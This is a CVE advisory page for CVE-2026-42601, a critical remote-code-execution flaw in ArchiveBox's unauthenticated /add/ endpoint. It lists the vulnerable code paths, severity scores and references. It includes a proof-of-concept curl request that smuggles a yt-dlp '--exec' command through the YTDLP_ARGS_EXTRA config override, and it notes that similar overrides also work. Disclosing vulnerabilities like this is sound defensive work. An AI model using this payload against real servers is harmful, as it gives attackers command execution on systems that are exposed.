CVE-2026-42601 — Vulnerability in archivebox — CVE Details
ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.60%). Schedule for your next planned update.
Does your project use an affected archivebox version?
Paste your requirements.txt to check it for CVE-2026-42601 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.
When PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.
Affected code:
core/views.py:887 - user config extracted with no validation: custom_config = form.cleaned_data.get("config") or {}
core/views.py:918 - merged into crawl config: config.update(custom_config)
config/configset.py:255-256 - crawl config applied with high priority: if crawl and hasattr(crawl, "config") and crawl.config: config.update(crawl.config)
hooks.py:398-411 - config exported as env vars: for key, value in config.items(): if key in SKIP_KEYS: continue env[key] = str(value)
plugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp: ytdlp_args_extra = get_env_array("YTDLP_ARGS_EXTRA", []) cmd.extend(ytdlp_args_extra)
PoC (pre-auth when PUBLIC_ADD_VIEW=True):
curl -X POST http://localhost:8000/add/
-d "url=https://www.youtube.com/watch?v=dQw4w9WgXcQ"
-d "depth=0"
-d "config={"YTDLP_ARGS_EXTRA": "[\"--exec\", \"id > /tmp/pwned\"]"}"
After the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.
Same approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.
Impact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.
Advisory Timeline
- First published May 4, 2026 (206 days ago).
- Last revised July 7, 2026 — 64 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| archivebox PyPI · Affected: 0.4.11, 0.4.12, 0.4.13, 0.4.14 (+72 more) | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-88
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8rWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-42601ADVISORY
- https://github.com/ArchiveBox/ArchiveBoxPACKAGE
- https://github.com/pypa/advisory-database/tree/main/vulns/archivebox/PYSEC-2026-283.yamlWEB
- https://pypi.org/project/archiveboxWEB
Frequently Asked Questions
- What is CVE-2026-42601?
- ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2026-42601?
- CVE-2026-42601 affects archivebox. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42601 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 42.5% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-77359CRITICAL
Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes
- CVE-2026-77312CRITICAL
Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)